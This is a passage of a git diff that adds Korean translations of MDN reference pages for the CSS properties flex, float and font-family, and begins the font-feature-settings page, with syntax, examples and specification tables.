+translation_of: Web/CSS/flex
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>flex</code></strong> <a href="/ko/docs/CSS" title="CSS">CSS</a> 속성은 하나의 플렉스 아이템이 자신의 컨테이너가 차지하는 공간에 맞추기 위해 크기를 키우거나 줄이는 방법을 설정하는 속성입니다.</span> <code>flex</code>는 {{cssxref("flex-grow")}}, {{cssxref("flex-shrink")}}, {{cssxref("flex-basis")}}의 <a href="/ko/docs/Web/CSS/Shorthand_properties">단축 속성</a>입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/flex.html")}}</div>
+
+
+
+<p>대부분의 경우, <code>flex</code>의 값에는 <code>auto</code>, <code>initial</code>, <code>none</code>이나 단위 없는 양의 수를 사용해야 합니다. 각 값의 적용 효과를 보려면 아래 플렉스 컨테이너의 크기를 조절해보세요.</p>
+
+<div id="flex">
+<pre class="hidden brush: html">&lt;div class="flex-container"&gt;
+  &lt;div class="item auto"&gt;auto&lt;/div&gt;
+  &lt;div class="item auto"&gt;auto&lt;/div&gt;
+  &lt;div class="item auto"&gt;auto&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+  &lt;div class="item auto"&gt;auto&lt;/div&gt;
+  &lt;div class="item initial"&gt;initial&lt;/div&gt;
+  &lt;div class="item initial"&gt;initial&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+  &lt;div class="item auto"&gt;auto&lt;/div&gt;
+  &lt;div class="item auto"&gt;auto&lt;/div&gt;
+  &lt;div class="item none"&gt;none&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+  &lt;div class="item initial"&gt;initial&lt;/div&gt;
+  &lt;div class="item none"&gt;none&lt;/div&gt;
+  &lt;div class="item none"&gt;none&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="flex-container"&gt;
+  &lt;div class="item four"&gt;4&lt;/div&gt;
+  &lt;div class="item two"&gt;2&lt;/div&gt;
+  &lt;div class="item one"&gt;1&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="hidden brush: css">* {
+  box-sizing: border-box;
+}
+
+.flex-container {
+  background-color: #F4F7F8;
+  resize: horizontal;
+  overflow: hidden;
+  display: flex;
+  margin: 1em;
+}
+
+.item {
+  margin: 1em;
+  padding: 0.5em;
+  width: 110px;
+  min-width: 0;
+  background-color: #1B5385;
+  color: white;
+  font-family: monospace;
+  font-size: 13px;
+}
+
+.initial {
+  flex: initial;
+}
+
+.auto {
+  flex: auto;
+}
+
+.none {
+  flex: none;
+}
+
+.four {
+  flex: 4;
+}
+
+.two {
+  flex: 2;
+}
+
+.one {
+  flex: 1;
+}
+</pre>
+
+<p>{{EmbedLiveSample("flex", 1200, 370, "", "", "example-outcome-frame")}}</p>
+
+<p>기본적으로 플렉스 아이템은 콘텐츠의 최소 너비 미만으로 줄어들지 않습니다. {{cssxref("min-width")}}나 {{cssxref("min-height")}} 값을 지정해 바꿀 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css">/* Keyword values */
+flex: auto;
+flex: initial;
+flex: none;
+
+/* One value, unitless number: flex-grow */
+flex: 2;
+
+/* One value, length or percentage: flex-basis */
+flex: 10em;
+flex: 30%;
+
+/* Two values: flex-grow | flex-basis */
+flex: 1 30px;
+
+/* Two values: flex-grow | flex-shrink */
+flex: 2 2;
+
+/* Three values: flex-grow | flex-shrink | flex-basis */
+flex: 2 2 10%;
+
+/* Global values */
+flex: inherit;
+flex: initial;
+flex: unset;</pre>
+
+<p><code>flex</code> 속성은 한 개에서 세 개의 값을 사용해 지정할 수 있습니다.</p>
+
+<ul>
+ <li><strong>값이 한 개일 때</strong>, 그 값은 다음 중 하나여야 합니다.
+
+  <ul>
+   <li>{{cssxref("&lt;number&gt;")}}를 지정하면 <code>&lt;flex-grow&gt;</code>입니다.</li>
+   <li>{{cssxref("&lt;length&gt;")}} 또는 {{cssxref("&lt;percentage&gt;")}}를 지정하면 <code>&lt;flex-basis&gt;</code>입니다.</li>
+   <li><code>none</code>, <code>auto</code>, <code>initial</code> 중 하나를 지정할 수 있습니다.</li>
+  </ul>
+ </li>
+ <li><strong>값이 두 개일때</strong>, 첫 번째 값은 {{cssxref("&lt;number&gt;")}}여야 하며 <code>&lt;flex-grow&gt;</code>가 됩니다. 두 번째 값은 다음 중 하나여야 합니다.
+  <ul>
+   <li>{{cssxref("&lt;number&gt;")}}를 지정하면 <code>&lt;flex-shrink&gt;</code>입니다.</li>
+   <li>{{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, 또는 <code>auto</code>를 지정하면 <code>&lt;flex-basis&gt;</code>입니다.</li>
+  </ul>
+ </li>
+ <li><strong>값이 세 개일 때</strong>는 다음 순서를 따라야 합니다.
+  <ol>
+   <li><code>&lt;flex-grow&gt;</code>에 사용할 {{cssxref("&lt;number&gt;")}}</li>
+   <li><code>&lt;flex-shrink&gt;</code>에 사용할 {{cssxref("&lt;number&gt;")}}</li>
+   <li><code>&lt;flex-basis&gt;</code>에 사용할 {{cssxref("&lt;length&gt;")}}, {{cssxref("&lt;percentage&gt;")}}, 또는 <code>auto</code></li>
+  </ol>
+ </li>
+</ul>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt><code>initial</code></dt>
+ <dd>아이템 크기가 각각의 <code>width</code>와 <code>height</code> 속성에 따라 정해집니다. 플렉스 컨테이너의 크기를 넘지 않기 위해 최소 크기로 줄어들 수는 있지만, 남은 공간을 채우려 늘어나지는 않습니다. <code>flex: 0 1 auto</code>와 동일합니다.</dd>
+ <dt><code>auto</code></dt>
+ <dd>아이템 크기가 각각의 <code>width</code>와 <code>height</code> 속성에 따라 정해집니다. 플렉스 컨테이너의 크기를 넘지 않기 위해 최소 크기로 줄어들 수 있으며, 남은 공간을 채우기 위해 늘어날 수도 있습니다. <code>flex: 1 1 auto</code>와 동일합니다.</dd>
+ <dt><code>none</code></dt>
+ <dd>아이템 크기가 각각의 <code>width</code>와 <code>height</code> 속성에 따라 정해지며, 컨테이너의 크기에 관계 없이 변하지 않습니다. <code>flex: 0 0 auto</code>와 동일합니다.</dd>
+ <dt><a id="&lt;'flex-grow'>" name="&lt;'flex-grow'>"><code>&lt;'flex-grow'&gt;</code></a></dt>
+ <dd>플렉스 아이템의 {{cssxref("flex-grow")}}를 지정합니다. 음수 값은 유효하지 않습니다. 생략 시 기본값은 <code>0</code>입니다.</dd>
+ <dt><a id="&lt;'flex-shrink'>" name="&lt;'flex-shrink'>"><code>&lt;'flex-shrink'&gt;</code></a></dt>
+ <dd>플렉스 아이템의 {{cssxref("flex-shrink")}}를 지정합니다. 음수 값은 유효하지 않습니다. 생략 시 기본값은 <code>1</code>입니다.</dd>
+ <dt><a id="&lt;'flex-basis'>" name="&lt;'flex-basis'>"><code>&lt;'flex-basis'&gt;</code></a></dt>
+ <dd>플렉스 아이템의 {{cssxref("flex-basis")}}를 지정합니다. <code>0</code>을 지정하려면 <code>&lt;flex-grow&gt;</code> 또는 <code>&lt;flex-shrink&gt;</code>로 읽히지 않도록 단위를 붙여야 합니다. 생략 시 기본값은 <code>auto</code>입니다.</dd>
+</dl>
+
+<div class="note">
+<p>한 개 또는 두 개의 단위 없는 숫자 값을 사용할 때, <code>&lt;flex-basis&gt;</code>의 값은 <code>auto</code>가 아니라 <code>0</code>이 됩니다. 더 자세한 정보는 <a href="https://drafts.csswg.org/css-flexbox/#flex-common">플렉시블 박스 레이아웃 모듈</a> 초안에서 확인할 수 있습니다.</p>
+</div>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: css">#flex-container {
+  display: flex;
+  flex-direction: row;
+}
+
+#flex-container &gt; .flex-item {
+  flex: auto;
+}
+
+#flex-container &gt; .raw-item {
+  width: 5rem;
+}
+</pre>
+
+<pre class="brush: html">&lt;div id="flex-container"&gt;
+  &lt;div class="flex-item" id="flex"&gt;Flex box (click to toggle raw box)&lt;/div&gt;
+  &lt;div class="raw-item" id="raw"&gt;Raw box&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: js">var flex = document.getElementById("flex");
+var raw = document.getElementById("raw");
+flex.addEventListener("click", function() {
+  raw.style.display = raw.style.display == "none" ? "block" : "none";
+});
+</pre>
+
+<pre class="brush: css">#flex-container {
+  width: 100%;
+  font-family: Consolas, Arial, sans-serif;
+}
+
+#flex-container &gt; div {
+  border: 1px solid #f00;
+  padding: 1rem;
+}
+
+#flex-container &gt; .raw-item {
+  border: 1px solid #000;
+}
+</pre>
+</div>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample('예제','100%','60')}}</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#flex-property', 'flex')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.flex")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>CSS 플렉스박스 안내서: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS 플렉스박스 안내서: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">Controlling Ratios of flex items along the main axis</a></em></li>
+</ul>
diff --git a/files/ko/web/css/float/index.html b/files/ko/web/css/float/index.html
new file mode 100644
index 0000000000..149f9e39a5
--- /dev/null
+++ b/files/ko/web/css/float/index.html
@@ -0,0 +1,215 @@
+---
+title: float
+slug: Web/CSS/float
+tags:
+  - CSS
+  - CSS Positioning
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/float
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS 속성(property) <strong><code>float</code></strong> 은 한 요소(element)가 보통 흐름(normal flow)으로부터 빠져 텍스트 및 인라인(inline) 요소가 그 주위를 감싸는 자기 컨테이너의 좌우측을 따라 배치되어야 함을 지정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/float.html")}}</div>
+
+
+
+<p>부동<strong>(floating) 요소</strong> 는 <code>float</code> 의 계산값(computed value)이 <code>none</code>이 아닌 요소입니다.</p>
+
+<p>{{cssinfo}}</p>
+
+<p><code>float</code> 은 블록 레이아웃의 사용을 뜻하기 때문에, 일부 경우에 {{cssxref("display")}} 값의 계산값을 수정합니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">지정값(Specified value)</th>
+   <th scope="col">계산값</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>inline</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>inline-block</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>inline-table</code></td>
+   <td><code>table</code></td>
+  </tr>
+  <tr>
+   <td><code>table-row</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-row-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-column</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-column-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-cell</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-caption</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-header-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>table-footer-group</code></td>
+   <td><code>block</code></td>
+  </tr>
+  <tr>
+   <td><code>flex</code></td>
+   <td><code>flex</code>, 다만 <code>float</code> 은 이러한 요소에 효과가 없음</td>
+  </tr>
+  <tr>
+   <td><code>inline-flex</code></td>
+   <td><code>inline-flex</code>, 다만 <code>float</code> 은 이러한 요소에 효과가 없음</td>
+  </tr>
+  <tr>
+   <td><em>그외</em></td>
+   <td><em>변화없음</em></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note"><strong>주의: </strong>JavaScript에서 이 속성을 {{domxref("element.style")}} 객체의 멤버로서 참조한다면, 당신은 <code>cssFloat</code>으로 철자를 써야 합니다. 또한 Internet Explorer 8 이전 버전에서는 <code>styleFloat</code>으로 썼음을 주의하세요. 이는 DOM 멤버의 이름은 dash(-)로 구분된 CSS 이름의 카멜케이스(camel-case) 명이다는 규칙의 예외(이고 "class"는 "className"으로 &lt;label&gt;의 "for"는 "htmlFor"로 이스케이프할 필요와 같이 "float"이 JavaScript에서 예약어란 사실 때문)입니다.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* 키워드 값 */
+float: left;
+float: right;
+float: none;
+float: inline-start;
+float: inline-end;
+
+/* 전역 값 */
+float: inherit;
+float: initial;
+float: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>left</code></dt>
+ <dd>는 요소가 자신의 포함(containing) 블록의 좌측에 부동(float, 떠움직여)해야 함을 나타내는 키워드입니다.</dd>
+ <dt><code>right</code></dt>
+ <dd>는 요소가 자신의 포함 블록의 우측에 부동해야 함을 나타내는 키워드입니다.</dd>
+ <dt><code>none</code></dt>
+ <dd>는 요소가 부동하지 않아야 함을 나타내는 키워드입니다.</dd>
+ <dt><code>inline-start</code></dt>
+ <dd>는 요소가 자신의 포함 블록의 시작쪽에 부동해야 함을 나타내는 키워드입니다. 즉, ltr(left to right) 스크립트 상에서 왼쪽 그리고 rtl(right to left) 스크립트 상에서는 오른쪽.</dd>
+ <dt><code>inline-end</code></dt>
+ <dd>는 요소가 자신의 포함 블록의 끝쪽에 부동해야 함을 나타내는 키워드입니다. 즉, ltr 스크립트 상에서 오른쪽 그리고 rtl 스크립트 상에서는 왼쪽.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div { border: solid red;  max-width: 70ex; }
+h4  { float: left;  margin: 0; }</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h4&gt;HELLO!&lt;/h4&gt;
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+  This is some text. This is some text. This is some text.
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('예제')}}</p>
+
+<h3 id="float이_위치_지정되는_법">float이 위치 지정되는 법</h3>
+
+<p>위에서 말한 바와 같이, 요소가 부동되면 문서의 보통 흐름에서 빠집니다. 부동된 요소는 포함 박스나<em> 다른 부동된 요소</em>의 가장자리(edge)에 닿을 때까지 좌나 우로 이동됩니다.</p>
+
+<p>아래 이미지에는, 빨간 사각형이 세 개 있습니다. 둘은 좌에 부동되고 하나는 우에 부동됩니다. "왼쪽" 두 번째 빨간 사각형은 첫 번째 사각형 오른쪽에 놓임을 주의하세요. 추가 사각형은 그들이 포함 박스를 채울 때까지 계속해서 오른쪽으로 쌓입니다. 그 후엔 다음 줄로 넘어갑니다(wrap).</p>
+
+<p><img src="/@api/deki/files/4927/=floats.png" style="height: 248px; width: 729px;"></p>
+
+<h3 id="float_지우기">float 지우기</h3>
+
+<p>위 예제에서, 부동된 요소는 안에 텍스트가 부동된 블록보다 세로가 더 짧습니다. 그러나, 텍스트가 모든 부동 요소 하단 아래로 넘어갈 만큼 길지 않다면, 예상치 못한 결과를 볼 수 있습니다. 예를 들어, 위 단락(paragraph)이 오직 "Lorem ipsum dolor sit amet,"만 읽고 "Floats Example" 머릿글(heading)처럼 같은 스타일의 다른 머릿글이 이어졌다면, 두 번째 머릿글은 빨간 박스 사이에 보입니다. 아마도, 우리는 다음 머릿글이 완전히 왼쪽으로 정렬되기를 원합니다. 이를 달성하기 위해, 우리는 float을 지워야(clear) 합니다.</p>
+
+<p>이 예제에서 float을 지우는 가장 간단한 방법은 우리가 왼쪽으로 정렬되는 지 확인하고 싶은 새 머릿글에 {{Cssxref("clear")}} 속성을 추가하는 것입니다:</p>
+
+<pre class="brush:css">h2.secondHeading { clear: both; }
+</pre>
+
+<p>그러나, 이 방법은 우리가 머릿글이 가로로 옆에 계속 보이기를 원하는 같은 블록 형식 문맥(<a href="/ko/docs/Web/Guide/CSS/Block_formatting_context" rel="internal">block formatting context</a>) 내에 다른 요소가 없을 때만 동작합니다. 우리 <code>h2</code> 좌우로 부동되는 사이드바(sidebar)인 형제(sibling)가 있다면, <code>clear</code> 사용은 강제로 머릿글이 두 사이드바 아래로 나타나게 하고 이는 아마 우리가 원하는 게 아닙니다.</p>
+
+<p>그들 아래 요소의 float을 지우는 게 선택사항이 아니라면, 다른 방법(approach)은 부동 요소가 담긴 컨테이너의 블록 형식 문맥을 제한하는 겁니다. 다시 위 예제를 참조하면, 빨간 박스 셋은 모두 <code>p</code> 요소 내에 있는 걸로 보입니다. 우리는 박스를 포함하도록 늘어나지만, 그 하단 밖(밑)으로 사라지지 않게 <code>hidden</code> 혹은 <code>auto</code> 로 p의 {{Cssxref("overflow")}} 속성을 설정할 수 있습니다:</p>
+
+<pre class="brush:css">p.withRedBoxes { overflow: hidden; height: auto; }
+</pre>
+
+<div class="note"><strong>주의:</strong> <code>overflow</code> 를 <code>scroll</code> 로 설정하면 부동된 모든 자식(child) 요소도 포함합니다. 하지만 스크롤바가 콘텐츠의 높이에 상관없이 보입니다. 그 컨테이너가 콘텐츠를 수용하기 위해 늘어야(grow) 함을 나타내는 기본(default)임에도 불구하고, 여기에서 우리는 <code>height</code> 를 <code>auto</code> 로 설정하고 있습니다.</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td><code>inline-start</code> 및 <code>inline-end </code>값이 추가됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#float', 'float')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>많은 새 값이, 아직 모두 분명히 정의되지 않음. 새 기능과 관련 없는 행동의 차이는 모두 의도치 않은 걸로 예상됩니다. 그러므로 보고해 주세요.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>변화 없음</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#float', 'float')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("css.properties.float")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">Block formatting context</a></li>
+</ul>
diff --git a/files/ko/web/css/font-family/index.html b/files/ko/web/css/font-family/index.html
new file mode 100644
index 0000000000..2653a7e6fc
--- /dev/null
+++ b/files/ko/web/css/font-family/index.html
@@ -0,0 +1,177 @@
+---
+title: font-family
+slug: Web/CSS/font-family
+tags:
+  - CSS
+  - CSS Fonts
+  - CSS Property
+  - Reference
+translation_of: Web/CSS/font-family
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS <strong><code>font-family</code></strong> 속성은 선택된 요소에 우선 순위가 지정된 font family 이름과 generic family 이름을  지정할 수 있게 해줍니다. </p>
+
+<p>{{EmbedInteractiveExample("pages/css/font-family.html")}}</p>
+
+<p>값은 콤마로 구분하여 대체가 될 수 있음을 나타냅니다. 브라우저는 폰트 목록에서 컴퓨터에 설치되어 있거나 {{cssxref("@font-face")}} 규칙을 이용하여 다운로드 받을 수 있는 폰트 중 가장 첫번째 폰트를 선택할 것입니다.</p>
+
+<p>웹 제작자는 font-family 목록에 최소 한 개의 generic family를 추가해야 하는데, 시스템이나 {{cssxref("@font-face")}} 규칙을 이용 해 다운로드 받은 폰트 중에 특정 폰트가 있다는 것을 보장할 수 없기 때문입니다. generic family는 브라우저가 대체할 수 있는 폰트가 필요한 경우 선택할 수 있게 해줍니다. </p>
+
+<p>font-size를 설정하거나 다른 폰트 관련 속성들을 한꺼번에 지정하는 경우 {{cssxref("font")}}가 단축형으로 자주 사용됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css">/* A font family name and a generic family name */
+font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;
+
+/* A generic family name only */
+font-family: serif;
+font-family: sans-serif;
+font-family: monospace;
+font-family: cursive;
+font-family: fantasy;
+font-family: system-ui;
+
+/* Global values */
+font-family: inherit;
+font-family: initial;
+font-family: unset;
+</pre>
+
+<p>The <code>font-family</code> property lists one or more font families, separated by commas. Each font family is specified as either a <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">{{anch("family-name", "&lt;family-name&gt;")}}</span></font> or a <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">{{anch("generic-name", "&lt;generic-name&gt;")}}</span></font> value.</p>
+
+<p>The example below lists two font families, the first with a <code>&lt;family-name&gt;</code> and the second with a <code>&lt;generic-name&gt;</code>:</p>
+
+<pre>font-family: Gill Sans Extrabold, sans-serif;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt id="family-name"><code>&lt;family-name&gt;</code></dt>
+ <dd>The name of a font family. For example, "Times" and "Helvetica" are font families. Font family names containing whitespace should be quoted.</dd>
+ <dt id="generic-name"><code>&lt;generic-name&gt;</code></dt>
+ <dd>
+ <p>Generic font families are a fallback mechanism, a means of preserving some of the style sheet author's intent when none of the specified fonts are available. Generic family names are keywords and must not be quoted. A generic font family should be the last item in the list of font family names. The following keywords are defined:</p>
+
+ <dl>
+  <dt><code>serif</code></dt>
+  <dd style="font-family: serif;">Glyphs have finishing strokes, flared or tapering ends, or have actual serifed endings.<br>
+  E.g. <span style="font-family: lucida bright,serif;">Lucida Bright</span>, <span style="font-family: lucida fax,serif;">Lucida Fax</span>, <span style="font-family: palatino,serif;">Palatino</span>, <span style="font-family: palatino linotype,serif;">"Palatino Linotype"</span>, <span style="font-family: palladio,serif;">Palladio</span>, <span style="font-family: urw palladio,serif;">"URW Palladio"</span>, <span style="font-family: serif;">serif</span>.</dd>
+  <dt><code>sans-serif</code></dt>
+  <dd style="font-family: sans-serif;">Glyphs have stroke endings that are plain.<br>
+  E.g. <span style="font-family: open sans,sans-serif;">"Open Sans"</span>, <span style="font-family: fira sans,sans-serif;">"Fira Sans"</span>, <span style="font-family: lucida sans,sans-serif;">"Lucida Sans"</span>, <span style="font-family: lucida sans unicode,sans-serif;">"Lucida Sans Unicode"</span>, <span style="font-family: trebuchet ms,sans-serif;">"Trebuchet MS"</span>, <span style="font-family: liberation sans,sans-serif;">"Liberation Sans"</span>, <span style="font-family: nimbus sans l,sans-serif;">"Nimbus Sans L"</span>, <span style="font-family: sans-serif;">sans-serif</span>.</dd>
+  <dt><code>monospace</code></dt>
+  <dd style="font-family: monospace;">All glyphs have the same fixed width.<br>
+  E.g. <span style="font-family: fira mono,monospace;">"Fira Mono"</span>, <span style="font-family: dejavu sans mono,monospace;">"DejaVu Sans Mono"</span>, <span style="font-family: menlo,monospace;">Menlo</span>, <span style="font-family: consolas,monospace;">Consolas</span>, <span style="font-family: liberation mono,monospace;">"Liberation Mono"</span>, <span style="font-family: monaco,monospace;">Monaco</span>, <span style="font-family: lucida console,monospace;">"Lucida Console"</span>, <span style="font-family: monospace;">monospace.</span></dd>
+  <dt><code>cursive</code></dt>
+  <dd style="font-family: cursive;">Glyphs in cursive fonts generally have either joining strokes or other cursive characteristics beyond those of italic typefaces. The glyphs are partially or completely connected, and the result looks more like handwritten pen or brush writing than printed letterwork.<br>
+  E.g. <span style="font-family: brush script mt,cursive;">"Brush Script MT</span>", <span style="font-family: brush script std,cursive;">"Brush Script Std</span>", <span>"Lucida Calligraphy"</span>, <span>"Lucida Handwriting"</span>, <span style="font-family: apple chancery,cursive;">"Apple Chancery"</span>, <span style="font-family: cursive;">cursive</span>.</dd>
+  <dt><code>fantasy</code></dt>
+  <dd style="font-family: fantasy;">Fantasy fonts are primarily decorative fonts that contain playful representations of characters.<br>
+  E.g. <span style="font-family: papyrus,fantasy;">Papyrus</span>, <span style="font-family: herculanum,fantasy;">Herculanum</span>, <span style="font-family: party let,fantasy;">Party LET</span>, <span style="font-family: curlz mt,fantasy;">Curlz MT</span>, <span style="font-family: harrington,fantasy;">Harrington</span>, <span style="font-family: fantasy;">fantasy</span>.</dd>
+  <dt><code>system-ui</code></dt>
+  <dd>Glyphs are taken from the default user interface font on a given platform. Because typographic traditions vary widely across the world, this generic is provided for typefaces that don't map cleanly into the other generics.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="유효한_폰트_패밀리_이름">유효한 폰트 패밀리 이름</h3>
+
+<p>Font family names must either be given quoted as strings, or unquoted as a sequence of one or more identifiers. This means that punctuation characters and digits at the start of each token must be escaped in unquoted font family names.</p>
+
+<p>For example, the following declarations are valid:</p>
+
+<pre class="brush:css">font-family: Gill Sans Extrabold, sans-serif;
+font-family: "Goudy Bookletter 1911", sans-serif;</pre>
+
+<p>The following declarations are <strong>invalid</strong>:</p>
+
+<pre class="brush:css example-bad">font-family: Goudy Bookletter 1911, sans-serif;
+font-family: Red/Black, sans-serif;
+font-family: "Lucida" Grande, sans-serif;
+font-family: Ahem!, sans-serif;
+font-family: test@foo, sans-serif;
+font-family: #POUND, sans-serif;
+font-family: Hawaii 5-0, sans-serif;</pre>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="Some_common_font_families">Some common font families</h3>
+
+<pre class="brush: css">.serif {
+  font-family: Times, Times New Roman, Georgia, serif;
+}
+
+.sansserif {
+  font-family: Verdana, Arial, Helvetica, sans-serif;
+}
+
+.monospace {
+  font-family: Lucida Console, Courier, monospace;
+}
+
+.cursive {
+  font-family: cursive;
+}
+
+.fantasy {
+  font-family: fantasy;
+}
+</pre>
+
+<div class="hidden">
+<pre class="syntaxbox">&lt;div class="serif"&gt;This is an example of a serif font.&lt;/div&gt;
+&lt;div class="sansserif"&gt;This is an example of a sans-serif font.&lt;/div&gt;
+&lt;div class="monospace"&gt;This is an example of a monospace font.&lt;/div&gt;
+&lt;div class="cursive"&gt;This is an example of a cursive font.&lt;/div&gt;
+&lt;div class="fantasy"&gt;This is an example of a fantasy font.&lt;/div&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Some_common_font_families','600','120') }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Fonts', '#generic-font-families', 'generic font families')}}</td>
+   <td>{{Spec2('CSS4 Fonts')}}</td>
+   <td>Adds new generic font families, specifically: <code>system-ui</code>, <code>emoji</code>, <code>math</code>, and <code>fangsong</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts', '#font-family-prop', 'font-family')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td>No significant change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#propdef-font-family', 'font-family')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font-family', 'font-family')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+<p>{{Compat("css.properties.font-family")}}</p>
diff --git a/files/ko/web/css/font-feature-settings/index.html b/files/ko/web/css/font-feature-settings/index.html
new file mode 100644
index 0000000000..ad3bcb430b
--- /dev/null
+++ b/files/ko/web/css/font-feature-settings/index.html
@@ -0,0 +1,128 @@
+---
+title: font-feature-settings
+slug: Web/CSS/font-feature-settings
+translation_of: Web/CSS/font-feature-settings
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>font-feature-settings</code></strong> CSS 속성은 오픈타입 폰트의 다양한 오픈타입 피처를 설정합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/font-feature-settings.html")}}</div>
+
+
+
+<h2 id="문법">문법</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* 기본값 사용 */
+font-feature-settings: normal;
+
+/* 오픈타입 피처 태그에 대해 값 설정 */
+font-feature-settings: "smcp";
+font-feature-settings: "smcp" on;
